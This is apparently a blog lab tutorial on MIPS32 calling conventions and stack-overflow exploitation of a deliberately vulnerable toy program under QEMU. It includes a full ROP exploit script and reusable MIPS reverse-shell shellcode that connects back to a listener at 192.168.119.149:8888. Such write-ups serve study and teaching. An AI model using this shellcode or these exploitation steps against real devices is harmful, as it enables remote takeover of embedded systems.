MIPS Stack Overflow: ROP Construction and Shellcode Injection

MIPS Stack Overflow: ROP Construction and Shellcode Injection

0. Introduction

Recently, I wrote about the DVRF series topics, and I still feel a bit overwhelmed by the construction of ROP, so I decided to delve deeper into how to construct ROP chains during the May Day holiday.

Note: The entire process should be replicated using Ubuntu 16.04. Do not use 18.04 or 20.04, as it may lead to the inability to find subsequent gadgets.

The program must also be cross-compiled on Ubuntu 16.04; otherwise, running it directly on Ubuntu 18.04 or higher may result in gadgets not being found…

1. MIPS32 Architecture Stack

Unlike the general x86 architecture, the function calling method in the MIPS32 architecture differs significantly from that of the x86 system. For example:

  • MIPS does not have a base pointer, i.e., EBP, so when a function enters the stack, it needs to move the current pointer down by n bits, where n is the size of the function stored in the stack space. After that, the pointer is not moved again; it can only be restored by adding an offset to the stack pointer upon function return, so both pushing and popping registers require specifying an offset.

  • The method of passing parameters also differs from x86. In x86, parameters are pushed directly onto the stack, while in MIPS, the first four parameters are passed through the $a0-$a3 registers. If there are more than four parameters, the excess parameters will be placed in the caller’s parameter space.

  • The return address is also different. In x86, the return address is pushed onto the stack when calling a function, while in MIPS, the return address is stored in the $ra register.

2. MIPS Function Calls

Here we introduce the concept of leaf functions and non-leaf functions.

If a function A does not call any other functions, then the current function A is a leaf function; otherwise, it is a non-leaf function.

When function A calls function B:

  • First, the call instruction copies the current $PC register value to the $RA register, then jumps to function B and executes it.

  • Next, we need to determine whether function B is a leaf function:

    • If it is a non-leaf function, it will place the return address of function A stored in the $RA register onto the stack.
    • If it is a leaf function, there is no need to do anything; the return address of function A remains in the $RA register.
  • When function B finishes executing and needs to return to function A:

    • If it is a non-leaf function, it must first retrieve the return address of function A from the stack, store it in the $RA register, and then use<span>jr $ra</span> to jump back to function A.

    • If function B is a leaf function, it simply uses<span>jr $ra</span> to return to function A.

2.1 Function Call Parameter Passing

#include<stdio.h>int test(int a,int b,int c,int d,int e,int f,int g);int main(){    int v1=0;    int v2=1;    int v3=2;    int v4=3;    int v5=4;    int v6=5;    int v7=6;    test(v1,v2,v3,v4,v5,v6,v7);    return 0;}int test(int a, int b, int c, int d, int e, int f, int g){    char s[50]={0};    sprintf(s,"%d%d%d%d%d%d%d",a,b,c,d,e,f,g);}

As mentioned earlier, the test function has seven parameters, with the first four parameters stored in the $a0-$a3 registers, and the remaining three parameters placed in the caller’s stack space reserved for parameters.

MIPS Stack Overflow: ROP Construction and Shellcode Injection

Static analysis in IDA shows that the main function allocates seven temporary variables.

MIPS Stack Overflow: ROP Construction and Shellcode Injection

Among them, var_10-var_1C are to be placed in the $a0-$a3 registers, while the remaining var_30, var_34, var_38 need to be retrieved from temporary variables and stored in the caller’s reserved parameter space.

Dynamic debugging shows that when setting a breakpoint at the sprintf function, Ubuntu is running QEMU simulation while IDA is dynamically linked remotely.

sudo chroot . ./qemu-mips-static -g 1234  ./mips-test

When<span>main</span> calls<span>test(v1-v7)</span>, the caller main will first store the first four parameters in order into the<span>$a0-$a3</span> registers, and then push the fifth to seventh parameters in order into its own stack space, with lower addresses corresponding to<span>v5</span> and higher addresses incrementally storing<span>v6</span> and<span>v7</span>.

When<span>test</span> internally calls<span>sprintf</span> and needs to pass nine parameters, test will store the first four parameters in order into<span>$a0-$a3</span>, and the remaining five parameters will be pushed in order into its own new stack space. Throughout the process, parameters are always passed in the left-to-right order as in the source code, and each function only operates on its own registers or stack space, without involving other functions’ stack frames. The<span>$a0-$a3</span> passed by<span>main</span>, i.e.,<span>v1-v4</span>, will also be overwritten when<span>test</span> calls<span>sprintf</span>, but these values are preserved through registers or<span>test</span>‘s local variables (<span>a, b, c, d</span>), so they will not be lost.

In the MIPS calling convention, the main function typically does not actively retrieve or restore the parameter values stored in the registers<span>$a0-$a3</span>.

MIPS Stack Overflow: ROP Construction and Shellcode Injection

The following stack diagram shows that after the main function calls the test function, it still needs the original values of registers $a0-$a3, so it pushes the four registers onto the stack.

MIPS Stack Overflow: ROP Construction and Shellcode InjectionMIPS Stack Overflow: ROP Construction and Shellcode Injection

2.2 MIPS Buffer Overflow

In the x86 architecture, the return address is generally placed on the stack, so stack overflow can hijack the program’s execution flow.

In the MIPS architecture, the return address is generally stored in the<span>$ra</span> register, which also poses a risk of stack overflow.

Non-leaf function

#include<stdio.h>void stack(char *src){    char a[20]={0};    strcpy(a,src);}int main(int argc,char *argv[]){    stack(argv[1]);    return 0;}

As mentioned earlier, the stack function is a non-leaf function, so upon entering the stack function, the return address of the main function will be placed at the bottom of its own stack. When returning to the main function, it will retrieve the return address from the stack and write it into<span>$ra</span> register, then jump back to the main function.

MIPS Stack Overflow: ROP Construction and Shellcode Injection

Therefore, if a buffer overflow occurs in the stack function’s local variables, it may overwrite the return address of the main function, thus hijacking the program’s execution flow, which is similar to x86.

Leaf function

#include<stdio.h>void stack(char *src, int count){    char s[20]={0};    int i=0;    for(i=0;i<count;i++){        s[i]=src[i];    }}int main(int argc,char *argv[]){    int count=strlen(argv[1]);    stack(argv[1],count);    return 0;}

As mentioned earlier, the stack function is now a leaf function, and the return address of the main function will not be stored in the stack function’s own stack space, but rather in the<span>$ra</span> register. Therefore, in the assembly language displayed in IDA, we can see that the stack function does not perform any operations on the<span>$ra</span> register before executing the last<span>jr $ra</span> instruction.

MIPS Stack Overflow: ROP Construction and Shellcode Injection

Thus, using the overflow method as in x86 or non-leaf functions cannot overwrite the return address of the main function, as it cannot manipulate the<span>$ra</span> register.

However, if the buffer overflow covers a sufficiently large area, large enough to overwrite the return address of the upper function stored in the main function’s stack frame, since the main function is also a non-leaf function, the return address of the upper function is placed in its own stack, so leaf functions can also pose a risk of buffer overflow, as long as the data being overwritten is large enough.

Here is a complete example

#include<stdio.h>#include<sys/stat.h>#include<unistd.h>void do_system(int code,char *cmd){char buf[255];system(cmd);}void main(){char buf[256]={0};char ch;int count=0;unsigned int fileLen=0;struct stat fileData;    FILE *fp;if(0==stat("passwd",&fileData))        fileLen=fileData.st_size;else return 1;if((fp=fopen("passwd","rb"))==NULL)    {printf("Cannot open file passwd!\n");exit(1);    }    ch=fgetc(fp);while(count<=fileLen)    {        buf[count++]=ch;        ch=fgetc(fp);    }    buf[--count]='\x00';if(!strcmp(buf,"adminpwd"))    {do_system(count,"ls -L");    }else    {printf("you have an invalid password!\n");    }fclose(fp);}

The dangerous function do_system is a non-leaf function, and the main function is also a non-leaf function.

The specific function is to read the password from the passwd file; if the password is “adminpwd”, it lists the current directory; otherwise, it displays an invalid password message and exits the program.

Create a passwd file and write 500 junk data into it, then run the QEMU-compiled program to find that the program crashes.

python -c "print 'A'*500" > passwd

Thus, open a port for remote dynamic debugging. Due to Ubuntu 18.04, pwndbg keeps reporting errors, so I can only use IDA for remote dynamic debugging.

So the configuration here is mainly Ubuntu 16.04 and IDA Pro 7.5.

No need to set breakpoints, just run it dynamically and let it crash to see if the 500 junk data can overwrite the memory space.

Note: Disable various protections, especially canary protection; otherwise, the junk data will not be able to overwrite.

mips-linux-gnu-gcc -g -fno-stack-protector -no-pie -fno-pie -z execstack vuln_system.c -static -o vuln_system
sudo chroot . ./qemu-mips-static -g 1234 ./vuln_system

MIPS Stack Overflow: ROP Construction and Shellcode Injection

It can be seen that not only the memory space but also the PC register,<span>$ra</span> register, and stack space have been overwritten with junk data, indicating that there is definitely a stack overflow vulnerability, as the PC has already been hijacked.

Once it is confirmed that the PC can be hijacked, the next step is to accurately determine how many bytes can make the PC point to the desired address, which is to determine the offset.

Generally, a large character script is used to determine this by creating a large character set and taking any four consecutive characters; the values of these four characters in the large character set are unique. Finding the offset of the four characters that overwrite the PC can determine the offset, usually done using the patternLocOffset.py script.

patternLocOffset.py

Generate 1000 junk characters into passwd.

python patternLocOffset.py -c -l 1000 -f passwd

MIPS Stack Overflow: ROP Construction and Shellcode Injection

Then, use IDA for dynamic remote debugging, directly let it crash to determine the PC address.

MIPS Stack Overflow: ROP Construction and Shellcode Injection

It can be seen that the crash location of the<span>$ra</span> register is at 0x34416e35, and then use patternLocOffset.py to determine the precise offset based on the hijacked PC address.

python patternLocOffset.py -c -l 1000 -f passwd

MIPS Stack Overflow: ROP Construction and Shellcode Injection

This means that filling 404 (0x194h) bytes can accurately hijack the PC.

Let’s verify it.

python2 -c "print 'A'*0x194+'BBBBCCCC'" > passwd

MIPS Stack Overflow: ROP Construction and Shellcode Injection

It can be seen that the PC and $ra register have been overwritten with the desired BBBBCCCC address, indicating that 404 bytes is correct.

There is another method to determine the offset, which is stack frame analysis, commonly known as static analysis, to calculate the offset based on the data displayed in IDA.

However, I do not recommend this method. Although it is said in various online resources and books that it can be done, I found it impractical after trying to replicate it. The deviation is too large, possibly due to IDA or the program itself being affected by different environments during compilation. For example, the offset calculated in the static analysis of the above example code is inconsistent with that obtained from dynamic analysis. In such cases, it is better to rely on dynamic analysis, so it is best to directly determine the offset dynamically.

Once the offset is determined, the attack method can be established.

According to the source code, this vulnerability can be exploited for command execution, as there is a do_system() function, or by writing shellcode for an attack.

2.2.1 Command Execution

Here, I will first introduce command execution attacks.

Thus, like x86, we need to construct a ROP chain,<span>do_system(count,"ls -L")</span> function has two parameters, and from IDA we know its address is 0x00400880.

MIPS Stack Overflow: ROP Construction and Shellcode Injection

As mentioned earlier, we need to find gadgets that can place parameters into<span>$a0</span> and<span>$a1</span> registers.

Since count is a fixed string, we only need to find the gadget for<span>$a1</span> register.

Directly using ROPgadget in Ubuntu to find a bunch of gadgets for the<span>$a1</span> register, but it seems that ROPgadget is not very good at finding MIPS architecture gadgets, unlike x86_x64 which is much easier.

So I directly used mipsrop in IDA.

The following image shows the gadgets found after cross-compiling the MIPS program in Ubuntu 16.04, totaling 19 gadgets.

Before this, I used Ubuntu 18.04 to cross-compile the MIPS program to find gadgets, but could only find 13.

Although both could only find three gadgets related to the $a1 register, the gadgets from Ubuntu 18.04 were all related to the $t9 register.

Although the value of<span>$t9</span> register is the starting address of the MIPS program’s function, meaning that the MIPS function execution mechanism requires<span>$t9</span> register to point to the current function’s entry address, theoretically, the<span>$t9</span> register can replace<span>$ra</span> to control program flow, but this requires ensuring that the program contains code that jumps through<span>jalr $t9</span> or similar instructions, such as dynamic linking function calls, and we must also control the value of<span>$t9</span> register.

Alternatively, if the value of<span>$t9</span> register is saved to the stack and can be overwritten, then these conditions can control<span>$t9</span> to achieve the purpose of controlling<span>$ra</span>, but clearly, this example does not meet the above conditions, so the attack fails.

MIPS Stack Overflow: ROP Construction and Shellcode Injection

<span>mipsrop.stackfinders()</span> is a command for auxiliary analysis of MIPS binary files, helping vulnerability exploit developers quickly locate ROP gadgets related to stack operations.

From top to bottom, we select the last gadget at address 0x004474BC, as the other gadgets either do not jump to the<span>$ra</span> register or are spaced too far apart, so the last one is the most suitable.

MIPS Stack Overflow: ROP Construction and Shellcode Injection

From the gadget, we just need to construct the string in<span>$sp+0x54+var_3C</span> so that the<span>$a1</span> register can input our desired command string, and then during the<span>jr $ra</span> statement, overwrite the<span>$ra</span> register to jump to the address of the do_system function, which is 0x00400A80, to complete the entire payload.

MIPS Stack Overflow: ROP Construction and Shellcode Injection

Payload:

MIPS Stack Overflow: ROP Construction and Shellcode Injection

exp.py:

import struct
print("[*] prepare shellcode")
cmd = "sh"cmd += "\00"*(4-(len(cmd) %4))  # Stack alignshellcode = "A"*0x194shellcode += struct.pack(">L",0x004474BC)shellcode += "A"*0x18 #0x18=24shellcode += cmdshellcode += "B"*(0x3C - len(cmd))shellcode += struct.pack(">L", 0x00400A80)print("OK!")
print("[+] create password file")fw = open('passwd','w')fw.write(shellcode)fw.close()print("ok")

MIPS Stack Overflow: ROP Construction and Shellcode Injection

2.2.2 Shellcode

Shellcode refers to the code injected into the process during a buffer overflow attack, which can obtain a shell, execute commands, open ports, etc.

Generally, to obtain shellcode, one can either search online or write a C program, compile it, and extract the assembly instructions through decompilation.

As analyzed above, the vuln_system has a buffer overflow and can cause command injection, so if shellcode is to be used for an attack, execve shellcode can be used to run an application with the program containing the injected shellcode.

However, shellcode may encounter NULL restrictions, causing the copied shellcode in the buffer to be incomplete, so it needs to be optimized to avoid bad characters like NULL.

We can also create a reverse shellcode to establish a connection between an attacked system and another system, then inject execve shellcode to achieve command injection attacks.

This requires shellcode for socket connect dup2 and execve, and using the NetCat tool, commonly known as NC, to listen on a port to see if the shellcode has been successfully injected.

However, if using the Windows version of nc, it will be killed by Windows Defender… In the end, I switched to Kali, ensuring that Kali and Ubuntu can ping each other.

From the initial junk data command, after covering 0x194 A’s, B overwrites the<span>$ra</span> register and the PC register, while C overwrites the subsequent address.

Thus, we can use the address covered by C to overwrite the register that B covered, hijacking the program execution flow to the C covered area, where the shellcode is written.

The current top of the stack is 0x7FFFEF90, but this stack is variable, so each test must re-locate.

MIPS Stack Overflow: ROP Construction and Shellcode Injection

Complete exp_shellcode.py:

import struct
import socket
def makeshellcode(hostip,port):    host=socket.ntohl(struct.unpack('I',socket.inet_aton(hostip))[0])    hosts=struct.unpack('cccc',struct.pack('>L',host))    ports=struct.unpack('cccc',struct.pack('>L',port))    mipshell="\x24\x0f\xff\xfa" #li t7,-6    mipshell+="\x01\xe0\x78\x27" #nor t7,t7,zero    mipshell+="\x21\xe4\xff\xfd" #addi a0,t7,-3    mipshell+="\x21\xe5\xff\xfd" #addi a1,t7,-3    mipshell+="\x28\x06\xff\xff" #slti a2,zero,-1    mipshell+="\x24\x02\x10\x57" #li v0,4183 #sys_socket    mipshell+="\x01\x01\x01\x0c" #syscall 0x40404    mipshell+="\xaf\xa2\xff\xff" #sw v0,-1(sp)    mipshell+="\x8f\xa4\xff\xff" #lw a1,-1(sp)    mipshell+="\x34\x0f\xff\xfd" #li t7,0xfffd    mipshell+="\x01\xe0\x78\x27" #nor t7,t7 zero    mipshell+="\xaf\xaf\xff\xe0" #sw t7,-32(sp)    mipshell+="\x3c\x0e"+struct.pack('2c',ports[2],ports[3]) #lui t6,0x1f90    mipshell+="\x35\xce"+struct.pack('2c',ports[2],ports[3]) #ori t6,t6,0x1f90    mipshell+="\xaf\xae\xff\xe4" #sw t6,-28(sp)    mipshell+="\x3c\x0e"+struct.pack('2c',hosts[0],hosts[1]) #lui t6,0x7f01    mipshell+="\x35\xce"+struct.pack('2c',hosts[2],hosts[3]) #ori t6,t6,0x101    mipshell+="\xaf\xae\xff\xe6" #sw t6,-26(sp)    mipshell+="\x27\xa5\xff\xe2" #addiu a1,sp,-30    mipshell+="\x24\x0c\xff\xef" #li t4,-17    mipshell+="\x01\x80\x30\x27" #nor a2,t4,zero    mipshell+="\x24\x02\x10\x4a" #li v0,4170 #sys_connect    mipshell+="\x01\x01\x01\x0c" #syscall 0x40404    mipshell+="\x24\x11\xff\xfd" #li s1,-3    mipshell+="\x02\x20\x88\x27" #nor s1,s1,zero    mipshell+="\x8f\xa4\xff\xff" #lw a0,-1(sp)    mipshell+="\x02\x20\x28\x21" #move a1,s1 #dup2_loop    mipshell+="\x24\x02\x0f\xdf" #li v0,4063 #sys_dup2    mipshell+="\x01\x01\x01\x0c" #syscall 0x40404    mipshell+="\x24\x10\xff\xff" #li s0,-1    mipshell+="\x22\x31\xff\xff" #addi s1,s1,-1    mipshell+="\x16\x30\xff\xfa" #bne s1,s0,68 <dup2_loop>    mipshell+="\x28\x06\xff\xff" #slti a2,zero,-1    mipshell+="\x3c\x0f\x2f\x2f" #lui t7,0x2f2f "//"    mipshell+="\x35\xef\x62\x69" #ori t7,t7,0x6269 "bi"    mipshell+="\xaf\xaf\xff\xec" #sw t7,-20(sp)    mipshell+="\x3c\x0e\x6e\x2f" #lui t6,0x6e2f "n/"    mipshell+="\x35\xce\x73\x68" #ori t6,t6,0x7368 "sh"    mipshell+="\xaf\xae\xff\xf0" #sw t6,-16(sp)    mipshell+="\xaf\xa0\xff\xf4" #sw zero,-12(sp)    mipshell+="\x27\xa4\xff\xec" #addiu a0,sp,-20    mipshell+="\xaf\xa4\xff\xf8" #sw a0,-8(sp)    mipshell+="\xaf\xa0\xff\xfc" #sw zero,-4(sp)    mipshell+="\x27\xa5\xff\xf8" #addiu a1,sp,-8    mipshell+="\x24\x02\x0f\xab" #li v0,4011 #sys_execve    mipshell+="\x01\x01\x01\x0c" #syscall 0x40404    return mipshell
if __name__ == '__main__':    print '[*] prepare shellcode',    cmd="sh"    cmd+="\x00"*(4-(len(cmd)%4))    payload="a"*0x194    payload+=struct.pack(">L",0x7ffff5d0)    payload+=makeshellcode('192.168.119.149',8888)    print ' ok'    print '[+]create password file',    fw=open('passwd','w')    fw.write(payload)    fw.close()    print ' ok'

Ubuntu is now unresponsive, but the shellcode has completed execution, and commands can be entered on the NC side.

MIPS Stack Overflow: ROP Construction and Shellcode Injection

I tried many times with port number 4444, but could not listen; later changed it to 8888, and it worked, possibly due to port occupation.

MIPS Stack Overflow: ROP Construction and Shellcode Injection

3. References

“Revealing Home Router 0day Vulnerability Exploitation Techniques”

MIPS Stack Overflow: ROP Construction and Shellcode Injection

Leave a Comment